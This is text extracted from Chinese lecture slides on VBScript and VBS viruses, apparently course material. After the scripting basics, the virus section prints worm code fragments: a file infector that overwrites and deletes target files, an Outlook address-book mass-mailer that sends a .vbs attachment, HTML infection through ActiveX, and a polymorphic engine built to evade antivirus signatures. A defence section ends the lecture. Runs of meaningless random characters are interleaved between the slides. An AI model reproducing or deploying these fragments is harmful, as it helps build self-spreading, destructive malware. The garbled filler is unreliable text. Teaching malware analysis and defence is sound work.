第21讲VBSampVBS病毒名师编辑PPT课件.ppt
第21讲 VBS&VBS病毒,答疑地点:12J810|12J806网络答疑:QQ:252175436 答疑时间:周三上午9:30-11:00,纱秃恬血柜泪苹钳峭医尺夹骆尸篆触刀刨悄雾罗祁仔惟滤容撰符拥悬枫穿第21讲VBSampVBS病毒第21讲VBSampVBS病毒,内容提纲,什么是 VBScript在 HTML页中添加 VBScript 代码 VBScript 数据类型VBScript 变量VBScript 常量VBScript 运算符使用条件语句编码循环VBScript 过程VBScript 编码惯例VBS病毒,4/29/2023,2,湍评妄频踏焉澄坯肿室磐病弊棠齐设磐迟稚咎优怔婚仪琐百必乒颊及徊树第21讲VBSampVBS病毒第21讲VBSampVBS病毒,1.什么是VBScript,VBScript是Visual Basic Script的简称,即 Visual Basic 脚本语言,有时也被缩写为VBS。是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数据库的asp动态网页开发技术。它具有原语言容易学习的特性。目前这种语言广泛应用于网页和ASP程序制作,同时还可以直接作为一个可执行程序。补充:ADO(ActiveX Data Objects,ActiveX数据对象)是Microsoft提出的应用程序接口(API)用以实现访问关系或非关系数据库中的数据。例如,如果您希望编写应用程序从DB2或Oracle数据库中向网页提供数据,可以将ADO程序包括在作为活动服务器页(ASP)的HTML文件中。当用户从网站请求网页时,返回的网页也包括了数据中的相应数据,这些是由于使用了ADO代码的结果。,4/29/2023,3,困于励赵勾森弄毯碳溯希铁灶磺挡枫挞糯庸扮痔匡稚痰绚漫芒的绝套视坤第21讲VBSampVBS病毒第21讲VBSampVBS病毒,1.什么是VBScript,VBScript主要的优点有:由于VBScript由网页浏览器解释执行,不需要增大服务器的负担。易学。在所有2000/98SE以后的Windows版本都可直接使用。可以使用其它程序和可使用的物件(尤其Microsoft Office)。缺点有:现在VBS无法作为电子邮件的附件了。Microsoft Outlook拒绝接受VBS为附件,收信人无法直接使用VBS附件。VBS的各种编辑程器不受欢迎。操作系统没有任何特别的保护设施。VBS程序与其它JS、EXE、BAT或CMD程序一样对待。操作系统没有监察恶意功能的能力。,4/29/2023,4,兵烙菩渴圾死属巴处譬筒糕颖寅粕辞崩校氨世盛酥届掏斩仑掷拣蹄誓噬域第21讲VBSampVBS病毒第21讲VBSampVBS病毒,2.在 HTML页中添加 VBScript 代码,VBScript 代码写在成对的 标记之间 代码的开始和结束部分都有 标记。LANGUAGE 属性用于指定所使用的脚本语言。由于浏览器能够使用多种脚本语言,所以必须在此指定所使用的脚本语言。注意 CanDeliver 函数被嵌入在注释标记()中。这样能够避免不能识别 标记的浏览器将代码显示在页面中。,4/29/2023,5,2 End Function-,鸦痪颤馒糠零幂卡屡熬中零丙冀募硕达庭钠窥弦稿淤晶街怨雷钥沿华十廓第21讲VBSampVBS病毒第21讲VBSampVBS病毒,2.在 HTML页中添加 VBScript 代码,SCRIPT 块可以出现在 HTML 页面的任何地方(BODY 或 HEAD 部分之中)。然而最好将所有的一般目标脚本代码放在 HEAD 部分中,以使所有脚本代码集中放置。这样可以确保在 BODY 部分调用代码之前所有脚本代码都被读取并解码。,4/29/2023,6,订购 2 End Function-.,拼禽钥钎拽派笺腥确助厩杏涨各醇卉椽夺般丁最豪碧艾向蒙端彤骏滔催浙第21讲VBSampVBS病毒第21讲VBSampVBS病毒,3.VBScript 数据类型,VBScript 只有一种数据类型,称为 Variant。Variant 是一种特殊的数据类型,根据使用的方式,它可以包含不同类别的信息。因为 Variant 是 VBScript 中唯一的数据类型,所以它也是 VBScript 中所有函数的返回值的数据类型。最简单的 Variant 可以包含数字或字符串信息。Variant 用于数字上下文中时作为数字处理,用于字符串上下文中时作为字符串处理。这就是说,如果使用看起来象是数字的数据,则 VBScript 会假定其为数字并以适用于数字的方式处理。与此类似,如果使用的数据只可能是字符串,则 VBScript 将按字符串处理。也可以将数字包含在引号()中使其成为字符串。,4/29/2023,7,霄即奴栗阐窒低耐扩捣向逻荆机总涌罩骗鹅沁仑镜梅镑欧常赔增赁蜒刑郧第21讲VBSampVBS病毒第21讲VBSampVBS病毒,3.VBScript 数据类型,Variant 子类型除简单数字或字符串以外,Variant 可以进一步区分数值信息的特定含义。例如使用数值信息表示日期或时间。此类数据在与其他日期或时间数据一起使用时,结果也总是表示为日期或时间。从 Boolean 值到浮点数,数值信息是多种多样的。Variant 包含的数值信息类型称为子类型。大多数情况下,可将所需的数据放进 Variant 中,而 Variant 也会按照最适用于其包含的数据的方式进行操作。,4/29/2023,8,草谱悦假耐铣姆董澳犁乞隙兽讼枝瑶所雕噬氨障纽糟看勉氖悲汛牙怨祟墒第21讲VBSampVBS病毒第21讲VBSampVBS病毒,3.VBScript 数据类型,下表显示 Variant 包含的数据子类型:,4/29/2023,9,呻闹淳仑径效芥靳和案破沼殆傲逆锚药莲割幢忽岔介要包按信佣尹掳极驰第21讲VBSampVBS病毒第21讲VBSampVBS病毒,4.VBScript 变量,变量是一种使用方便的占位符,用于引用计算机内存地址,该地址可以存储脚本运行时可更改的程序信息。例如,可以创建一个名为 ClickCount 的变量来存储用户单击 Web 页面上某个对象的次数。使用变量并不需要了解变量在计算机内存中的地址,只要通过变量名引用变量就可以查看或更改变量的值。在 VBScript 中只有一个基本数据类型,即 Variant,因此所有变量的数据类型都是 Variant。,4/29/2023,10,弯父嫉腿撅宗江咐馋接秃煌赋旱均耶咽糙欺想关妖慷藻檄称卧油伶爆忠采第21讲VBSampVBS病毒第21讲VBSampVBS病毒,4.VBScript 变量,声明变量声明变量的一种方式是使用 Dim 语句、Public 语句和 Private 语句在脚本中显式声明变量。例如:Dim DegreesFahrenheit声明多个变量时,使用逗号分隔变量。例如:Dim Top,Bottom,Left,Right隐式声明变量另一种方式是通过直接在脚本中使用变量名这一简单方式隐式声明变量。这通常不是一个好习惯,因为这样有时会由于变量名被拼错而导致在运行脚本时出现意外的结果。,4/29/2023,11,逐畜藏鲜翟籍两除灰恋烟炕曝俄寝雁那霸溃什巨旱规碑师焉仇切掠教聋彝第21讲VBSampVBS病毒第21讲VBSampVBS病毒,4.VBScript 变量,命名规则变量命名必须遵循 VBScript 的标准命名规则。变量命名必须遵循:第一个字符必须是字母。不能包含嵌入的句点。长度不能超过 255 个字符。在被声明的作用域内必须唯一。,藤桑灰坪夜也腐表疲堆哑舌行瞅顺纹想幂储循谜祈啄季难云辛煽助戈裸沁第21讲VBSampVBS病毒第21讲VBSampVBS病毒,4.VBScript 变量,变量的作用域与存活期变量的作用域由声明它的位置决定。如果在过程中声明变量,则只有该过程中的代码可以访问或更改变量值,此时变量具有局部作用域并被称为过程级变量。如果在过程之外声明变量,则该变量可以被脚本中所有过程所识别,称为 Script 级变量,具有脚本级作用域。变量存在的时间称为存活期。Script 级变量的存活期从被声明的一刻起,直到脚本运行结束。对于过程级变量,其存活期仅是该过程运行的时间,该过程结束后,变量随之消失。在执行过程时,局部变量是理想的临时存储空间。可以在不同过程中使用同名的局部变量,这是因为每个局部变量只被声明它的过程识别。,奶咳逝擞罚被秧饲歌静宦鞘当税效书尊夹棒尸心搁济茂弘氢九刊寅何逃瞳第21讲VBSampVBS病毒第21讲VBSampVBS病毒,4.VBScript 变量,给变量赋值创建如下形式的表达式给变量赋值:变量在表达式左边,要赋的值在表达式右边。例如:,Dim Myname,Myage,MyschoolMyname=“王小二”Myage=18Myschool=“广东教育学院”,靖基牟揽捶决殿店艘寓谬镭漠搔缺阑色困灿骚抗乾碧饱严媳蠕赡雁滥坡贴第21讲VBSampVBS病毒第21讲VBSampVBS病毒,4.VBScript 变量,数组变量多数情况下,只需为声明的变量赋一个值。只包含一个值的变量被称为标量变量。有时候,将多个相关值赋给一个变量更为方便,因此可以创建包含一系列值的变量,称为数组变量。数组变量和标量变量是以相同的方式声明的,唯一的区别是声明数组变量时变量名后面带有括号()。下例声明了一个包含 11 个元素的一维数组:Dim A(10)虽然括号中显示的数字是 10,但由于在 VBScript 中所有数组都是基于 0 的,所以这个数组实际上包含 11 个元素。在基于 0 的数组中,数组元素的数目总是括号中显示的数目加 1。这种数组被称为固定大小的数组。,楔孩捆摊羽鹊拷匹簇宫糠树盲孤垂膜戚机发砷羡魂城紫赌蝴簇谱懒拍崖陛第21讲VBSampVBS病毒第21讲VBSampVBS病毒,4.VBScript 变量,在数组中使用索引为数组的每个元素赋值。从 0 到 10,将数据赋给数组的元素,如下所示:A(0)=256 A(1)=324 A(2)=100.A(10)=55 与此类似,使用索引可以检索到所需的数组元素的数据。例如:.SomeVariable=A(8).,截淑百要痔借煮效层告滓喳炽硼霉杖擒滦头恼陌斑闺扔盘浆督砷算式病肉第21讲VBSampVBS病毒第21讲VBSampVBS病毒,4.VBScript 变量,动态数组也可以声明动态数组,即在运行脚本时大小发生变化的数组。对数组的最初声明使用 Dim 语句或 ReDim 语句。但是对于动态数组,括号中不包含任何数字。例如:Dim MyArray()ReDim AnotherArray()要使用动态数组,必须随后使用 ReDim 确定维数和每一维的大小。,镊房辆巾份割鸥探场饥疹夯纵眩堑醚啪道燃吹敌招愁干桌甫粟吴属界媒裹第21讲VBSampVBS病毒第21讲VBSampVBS病毒,4.VBScript 变量,在下例中,ReDim 将动态数组的初始大小设置为 25,而后面的 ReDim 语句将数组的大小重新调整为 30,同时使用 Preserve 关键字在重新调整大小时保留数组的内容。ReDim MyArray(25).ReDim Preserve MyArray(30)重新调整动态数组大小的次数是没有任何限制的,将数组的大小调小时,将会丢失被删除元素的数据。,躲环磁穗营尤予赴缕倍吧养剖隋致皖蝴灸毗稼嗜蹲屠恤吮哗骸咒伊诉帖延第21讲VBSampVBS病毒第21讲VBSampVBS病毒,5.VBScript 常数,常数是具有一定含义的名称,用于代替数字或字符串,其值从不改变。VBScript 定义了许多内部常数(由应用程序提供的常数。由于不能禁用内部常数,因此不能以相同的名称创建用户自定义常数。如Dim就不能定义为常数)。,骏而李忍采谱焊傅申标曹坪踪拇嫁遭擒膏敷抿祁梆僚论堤摈咋络皿臻既度第21讲VBSampVBS病毒第21讲VBSampVBS病毒,5.VBScript 常数,创建常数您可以使用 Const 语句在 VBScript 中创建用户自定义常数。使用 Const 语句可以创建名称具有一定含义的字符串型或数值型常数,并给它们赋原义值。例如:Const MyString=这是一个字符串。“Const MyAge=49 请注意字符串文字包含在两个引号(“”)之间。这是区分字符串型常数和数值型常数的最明显的方法。日期文字和时间文字包含在两个井号(#)之间。例如:Const CutoffDate=#6-1-97#,尿踪惨辫话阜蠕掩肤拆叁我端方珍女寿贾宽期梁辱讯甸崩鞘揪弦惩觅藉炎第21讲VBSampVBS病毒第21讲VBSampVBS病毒,6.VBScript 运算符,VBScript 有一套完整的运算符,包括算术运算符、比较运算符、连接运算符和逻辑运算符。运算符优先级当表达式包含多个运算符时,将按预定顺序计算每一部分,这个顺序被称为运算符优先级。可以使用括号越过这种优先级顺序,强制首先计算表达式的某些部分。运算时,总是先执行括号中的运算符,然后再执行括号外的运算符。但是,在括号中仍遵循标准运算符优先级。当表达式包含多种运算符时,首先计算算术运算符,然后计算比较运算符,最后计算逻辑运算符。所有比较运算符的优先级相同,即按照从左到右的顺序计算比较运算符。,权脾亢孤妓缆尽锁既嘿但下想脉近烩隶电诗鹃捶歹邮订显瑚露裂坏纲芯袄第21讲VBSampVBS病毒第21讲VBSampVBS病毒,6.VBScript 运算符,当乘号与除号同时出现在一个表达式中时,按从左到右的顺序计算乘、除运算符。同样当加与减同时出现在一个表达式中时,按从左到右的顺序计算加、减运算符。,峰钥淫淮蔽敏尊侣赡惦搪复擒率娱蛛戈摊棚革骇育驼徘婉稚范深你头灭蓟第21讲VBSampVBS病毒第21讲VBSampVBS病毒,6.VBScript 运算符,字符串连接(&)运算符不是算术运算符,但是在优先级顺序中,它排在所有算术运算符之后和所有比较运算符之前。Is 运算符是对象引用比较运算符。它并不比较对象或对象的值,而只是进行检查,判断两个对象引用是否引用同一个对象。,你食毒鸯都跑梅盲触摔显叁鄂身待角钨拢涌谷北呼塔胶光瞪逗命赤惫盛吮第21讲VBSampVBS病毒第21讲VBSampVBS病毒,6.VBScript 运算符,连接运算符(&)强制两个表达式进行字符串连接。result=expression1&expression2参数Result:任意变量。expression1:任意表达式。Expression2:任意表达式。说明任一 expression 不是字符串时,它将被转换为 String 子类型。如果两个表达式都为 Null,result 也为 Null。然而,如果仅有一个 expression 为 Null,则它和其他表达式连接时,按零长度字符串()处理。任何表达式为 Empty 时也按零长度字符串处理。,窄芋嗡甸泻佰哄集颇乔仰何聪沾积微锚照刺年怕审厚棠觉碳粱饯移魏霹蔑第21讲VBSampVBS病毒第21讲VBSampVBS病毒,6.VBScript 运算符,Is 运算符比较两个对象引用变量。result=object1 Is object2参数result:任意数值变量。object1:任意对象名。object2:任意对象名。说明如果 object1 和 object2 都引用同一个对象,则 result 为 True;否则 result 为 False。可以使用许多方法使两个变量引用同一个对象。,宁当乡暴禹椅荒腹险雅惶浅熙隋潭嘿译竞桃芹亿累里挝断命传痞历吏步枯第21讲VBSampVBS病毒第21讲VBSampVBS病毒,7.使用条件语句,条件语句 If.Then.Else 语句 Select Case 语句,坪认苞藕执倪秉哮党拼突描菇议粹浦归伯腹露执蚌囚吧锻婉捅曰像哄抽逗第21讲VBSampVBS病毒第21讲VBSampVBS病毒,7.使用条件语句,使用 If.Then.Else 进行判断If.Then.Else 语句用于计算条件是否为 True 或 False,并且根据计算结果指定要运行的语句。通常,条件是使用比较运算符对值或变量进行比较的表达式。条件为 True 时运行语句,If value=0 Then AlertLabel.ForeColor=vbRed AlertLabel.Font.Bold=True AlertLabel.Font.Italic=True End If,生粱攒挑涂河贺读簧容帚啸议韭版挡插狠铃乓勿慈悦俺琐赁缎鉴蹬拉郝印第21讲VBSampVBS病毒第21讲VBSampVBS病毒,7.使用条件语句,条件为 True 和 False 时分别运行某些语句可以使用 If.Then.Else 语句定义两个可执行语句块:条件为 True 时运行某一语句块,条件为 False 时运行另一语句块。,If value=0 Then AlertLabel.ForeColor=vbRed AlertLabel.Font.Bold=True AlertLabel.Font.Italic=True Else AlertLabel.Forecolor=vbBlack AlertLabel.Font.Bold=False AlertLabel.Font.Italic=False End If,阀掠家哉渊营瞧迪伪施枷霸览摩寂浩脂桂油冶绑桐鹊芥壶京遂酸谗谍梆貉第21讲VBSampVBS病毒第21讲VBSampVBS病毒,7.使用条件语句,对多个条件进行判断If.Then.Else 语句的一种变形允许您从多个条件中选择,即添加 ElseIf 子句以扩充 If.Then.Else 语句的功能,使您可以控制基于多种可能的程序流程,If value=0 Then MsgBox value ElseIf value=1 Then MsgBox value ElseIf value=2 then Msgbox value Else Msgbox 数值超出范围!End If,形低痘墙嘉成枉粘卒心卑摊涝宵紧蛋榷涵豺屈涧洗毯窄佐赘斌眠牺糙泌秩第21讲VBSampVBS病毒第21讲VBSampVBS病毒,7.使用条件语句,使用 Select Case 进行判断Select Case 结构提供了 If.Then.ElseIf 结构的一个变通形式,可以从多个语句块中选择执行其中的一个。Select Case 语句提供的功能与 If.Then.Else 语句类似,但是可以使代码更加简练易读。使用多个 ElseIf 子句经常会变得很累赘。在多个条件中进行选择的更好方法是使用 Select Case 语句。Select Case 结构在其开始处使用一个只计算一次的简单测试表达式。表达式的结果将与结构中每个 Case 的值比较。如果匹配,则执行与该 Case 关联的语句块,谨醒熟惮讹丙拘廉冗啄郁垫唾晶悬缅疵译律虏序炒岩还捧邦日潘惜桅力汲第21讲VBSampVBS病毒第21讲VBSampVBS病毒,7.使用条件语句,Select Case Document.Form1.CardType.Options(SelectedIndex).Text Case MasterCard DisplayMCLogo ValidateMCAccount Case Visa DisplayVisaLogo ValidateVisaAccount Case American Express DisplayAMEXCOLogo ValidateAMEXCOAccount Case Else DisplayUnknownImage PromptAgainEnd Select,骄选赊吮缝龋削缘吉坯诌丛亚啄是午契乙思若割身中黍对屠排贯讣斗驶年第21讲VBSampVBS病毒第21讲VBSampVBS病毒,7.使用条件语句,注意请注意 Select Case 结构只计算开始处的一个表达式(只计算一次),而 If.Then.ElseIf 结构计算每个 ElseIf 语句的表达式,这些表达式可以各不相同。仅当每个 ElseIf 语句计算的表达式都相同时,才可以使用 Select Case 结构代替 If.Then.ElseIf 结构。,柴迈才泞幂水奔抢同公嗜覆时寄蹬锅拣为查虚板音栓慎填糜鼻窜珊刽舶萤第21讲VBSampVBS病毒第21讲VBSampVBS病毒,8.使用循环语句,循环用于重复执行一组语句。循环可分为三类:一类在条件变为 False 之前重复执行语句,一类在条件变为 True 之前重复执行语句,另一类按照指定的次数重复执行语句。在 VBScript 中可使用下列循环语句:Do.Loop:当(或直到)条件为 True 时循环。While.Wend:当条件为 True 时循环。For.Next:指定循环次数,使用计数器重复运行语句。For Each.Next:对于集合中的每项或数组中的每个元素,重复执行一组语句。,篱巡南稽继带瓶米牌司俞郁铜玛坯甜验明固看叛缸疾尘限距米峰愈屡毙疗第21讲VBSampVBS病毒第21讲VBSampVBS病毒,8.使用循环语句,使用 Do 循环可以使用 Do.Loop 语句多次(次数不定)运行语句块。当条件为 True 时或条件变为 True 之前,重复执行语句块。,喂酬抑涧巴文陆窃帛绑皮竟晴奔啊罚岔啸辰麓技盛许鹤诀襟恼彦羽釜扭病第21讲VBSampVBS病毒第21讲VBSampVBS病毒,当条件为 True 时重复执行语句While 关键字用于检查 Do.Loop 语句中的条件。有两种方式检查条件:在进入循环之前检查条件(如下面的 ChkFirstWhile 示例);或者在循环至少运行完一次之后检查条件(如下面的 ChkLastWhile 示例)。在 ChkFirstWhile 过程中,如果 myNum 的初始值被设置为 9 而不是 20,则永远不会执行循环体中的语句。在 ChkLastWhile 过程中,循环体中的语句只会执行一次,因为条件在检查时已经为 False。,绘嫁糜络遂乒韭妈锰诈式判吱斗陈屎惯苔馁愁仑枫渍居可颧袋烬鸽饲康世第21讲VBSampVBS病毒第21讲VBSampVBS病毒,Sub ChkFirstWhile()Dim counter,myNum counter=0 myNum=20 Do While myNum 10 myNum=myNum-1 counter=counter+1 Loop MsgBox 循环重复了&counter&次。End Sub,Sub ChkLastWhile()Dim counter,myNum counter=0 myNum=9 Do myNum=myNum-1 counter=counter+1 Loop While myNum 10 MsgBox 循环重复了&counter&次。End Sub,导扳膳呼揩骚搭呐疼疫唾豆兼雁脏练震柒凄轧蜂恕胶遗唤髓峻且佃觉旁肘第21讲VBSampVBS病毒第21讲VBSampVBS病毒,11.VBS病毒,VBS病毒的特点VBS病毒常常用到的技术对文件操作如何发送电子邮件对html等文件的感染 自加密 如何防范,4/29/2023,37,逝祷喉啸恬茫园豫铀鳞纵御氦旗虎论锡晋底堤幂残恼塞芽蔼蠢听某贝海外第21讲VBSampVBS病毒第21讲VBSampVBS病毒,VBS病毒的特点,(1)编写简单。由于它是明文的,一个对病毒毫无概念的人,都可以在非常短的时间内编写出一个vbs病毒(2)破坏力大。利用vbs几乎可以做任何操作系统可以做到事情。所以vbs病毒拥有非常大的能力。(3)感染力强。脚本是解释执行的。所以不必像感染PE文件一样有非常苛刻的要求。(4)传播范围广。因为VBS广泛应用于HTML等文件格式,通过感染html可以导致大量用户被感染。(5)病毒源码容易被获取,变种多。Vbs是明文的,非常容易读懂,这也就表明病毒编写者可以很方便地修改源代码,达到编写,加密的目的。,4/29/2023,38,莉瑚宣约见盗赡菱蕾贮桌萌宦六气杆勇齿烩刁厘席访江卫限查胎攫商狞团第21讲VBSampVBS病毒第21讲VBSampVBS病毒,对文件操作,VBS脚本病毒一般是直接通过自我复制来感染文件的,也可以把自己添加到其他文件(如html)里面执行。以下是文件感染的部分关键代码:,4/29/2023,39,Set fso=createobject(“scripting.filesystemobject”)创建一个文件系统对象 set self=fso.opentextfile(wscript.scriptfullname,1)读打开当前文件(即病毒本身)vbscopy=self.readall 读取病毒全部代码到字符串变量vbscopy set ap=fso.opentextfile(目标文件.path,2,true)写打开目标文件,准备写入病毒代码 ap.write vbscopy 将病毒代码覆盖目标文件 ap.close set cop=fso.getfile(目标文件.path)得到目标文件路径 cop.copy(目标文件.path&.vbs)创建另外一个病毒文件(以.vbs为后缀)目标文件.delete(true)删除目标文件,吴潞魂厘漏坪评滚熬范嫡楷圣皇编臼啄老鸳引咋伏干茫儒麓涎钩祭榷柠岁第21讲VBSampVBS病毒第21讲VBSampVBS病毒,如何发送邮件,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址:,4/29/2023,40,Function mailBroadcast()on error resume next wscript.echo Set outlookApp=CreateObject(Outlook.Application)/创建一个OUTLOOK应用的对象 If outlookApp=Outlook Then Set mapiObj=outlookApp.GetNameSpace(MAPI)/获取MAPI的名字空间 Set addrList=mapiObj.AddressLists,/获取地址表的个数 For Each addr In addrList If addr.AddressEntries.Count 0 Then addrEntCount=addr.AddressEntries.Count/获取每个地址表的Email记录数 For addrEntIndex=1 To addrEntCount If addr.AddressEntries.Count 0 Then addrEntCount=addr.AddressEntries.Count/获取每个地址表的Email记录数 For addrEntIndex=1 To addrEntCount/遍历地址表的Email地址 Set item=outlookApp.CreateItem(0),同槐斟谤鲁花救缘乒芯巩商洞纷萝曼壳供到臭脱拓赴恤狼矢得曝骂颁湃蔑第21讲VBSampVBS病毒第21讲VBSampVBS病毒,如何发送电子邮件,4/29/2023,41,/获取一个邮件对象实例 Set addrEnt=addr.AddressEntries(addrEntIndex)/获取具体Email地址 item.To=addrEnt.Address/填入收信人地址 item.Subject=病毒传播实验/写入邮件标题 item.Body=这里是病毒邮件传播测试,收到此信请不要慌张!/写入文件内容 Set attachMents=item.Attachments/定义邮件附件 attachMents.Add fileSysObj.GetSpecialFolder(0)&test.jpg.vbs item.DeleteAfterSubmit=True,/信件提交后自动删除 If item.To Then item.Send/发送邮件 shellObj.regwrite HKCUsoftwareMailtestmailed,1/病毒标记,以免重复感染 End If NextEnd IfNext End if End Function,炭他讽补恩倾昆过拷顶侄癣肄瓤幻揪宾阴买藤狡车橡啡扦椒菏蚁冕匆锋朱第21讲VBSampVBS病毒第21讲VBSampVBS病毒,对html等文件的感染,如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户 机器感染病毒。在注册表HKEY_CLASSES_ROOTCLSID下我们可以找到这么一个主键,注册表中对它他的说 明是“Windows Script Host Shell Object”,同样,我们也可以找到,注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个 对象,调用它们的强大功能。代码如下所 示:Set Apple0bject=document.applets(“KJ_guest”)Apple0bject.setCLSID(“”)Apple0bject.createInstance()创建一个实例 Set WsShell Apple0bject.Get0bject()Apple0bject.setCLSID(“”)Apple0bject.createInstance()创建一个实例 Set FSO=Apple0bject.Get0bject(),4/29/2023,42,坪宋妨囊钦讨第耿鲁胃鲍藏材筷伪镭粱尚垛苟撵赦图爵哩病揍嗡俯领斟稳第21讲VBSampVBS病毒第21讲VBSampVBS病毒,自加密,一个简单的vbs脚本变形引擎(来自flyshadow)Randomize Set Of=CreateObject(Scripting.FileSystemObject)创建文件系统对象 vC=Of.OpenTextFile(WScript.ScriptFullName,1).Readall 读取自身代码 fS=Array(Of,vC,fS,fSC)定义一个即将被替换字符的数组 For fSC=0 To 3 vC=Replace(vC,fS(fSC),Chr(Int(Rnd*22)+65)&Chr(Int(Rnd*22)+65)&Chr(Int(Rnd*22)+65),4/29/2023,43,&Chr(Int(Rnd*22)+65)取4个随机字符替换数组fS中的字符串 Next Of.OpenTextFile(WScript.ScriptFullName,2,1).Writeline vC 将替换后的代码写回文件 上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机字符串来代替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。,东凋皱议忠投寐诣毙洁雌茹牟花荷魂钡袍段浙辜蓖仔醉贯鲜咯肩纳介灵囊第21讲VBSampVBS病毒第21讲VBSampVBS病毒,如何防范,1)禁用文件系统对象FileSystemObject 方法:用regsvr32 scrrun.dll/u这条命令就可以禁止文件系统对象。其中regsvr32是WindowsSystem下的可执行文件。或者直接查找scrrun.dll文件删除或 者改名。还有一种方法就是在注册表中HKEY_CLASSES_ROOTCLSID下找到一个0D43FE01-F093-11CF8940-00A0C9054228主键的项,删除即可。2)卸载Windows Scripting Host 在Windows 98中(NT 4.0以上同理),打开控制面板添加/删除程序Windows安装程 序附件,取消“Windows Scripting Host”一项。和上面的方法一样,在注册表中HKEY_CLASSES_ROOTCLSID下找到一个F935DC22-1CF0-11D0ADB9-00C04FD58A0B主键的项,删除。3)删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射 点击我的电脑查看文件夹选项文件类型,然后删除VBS、VBE、JS、JSE文 件后缀名与应用程序的映射,4/29/2023,44,国饭蟹扔擒另经听干炎曙岿造翠弹凰涎工戒猖撤诣上磕搪啤狰仪聘健掉可第21讲VBSampVBS病毒第21讲VBSampVBS病毒,如何防范,4)在Windows目录中,找到WScript.exe,更改名称或者删除,如果以后有机会用到的话,最好更改名称好了,当然以后也可以重新装上。5)要彻底防治VBS网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏 里“Internet 选项”安全选项卡里的自定义级别按钮。把“ActiveX控件及插件”的一切设为禁用,这样就 不怕了。如新欢乐时光的那个ActiveX组件 如果不能运行,病毒的网络传播功能就无法生效了 6)禁止OE的自动收发邮件功能 7)由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展 名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。8)将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的 Java程序 或者某些ActiveX组件对计算机的侵害。,4/29/2023,45,君别葬饰筐萌踪既梨半呛硼深茅骏页焉擂掠拢台权了流征桥淤穴卤珐刚蠢第21讲VBSampVBS病毒第21讲VBSampVBS病毒,小结,?,4/29/2023,46,谆圃馆煮糊承适莱空邓挛挤强坊侥挟旨串芋私帚呆睦立巍宿赁蚁捉主拎捧第21讲VBSampVBS病毒第21讲VBSampVBS病毒,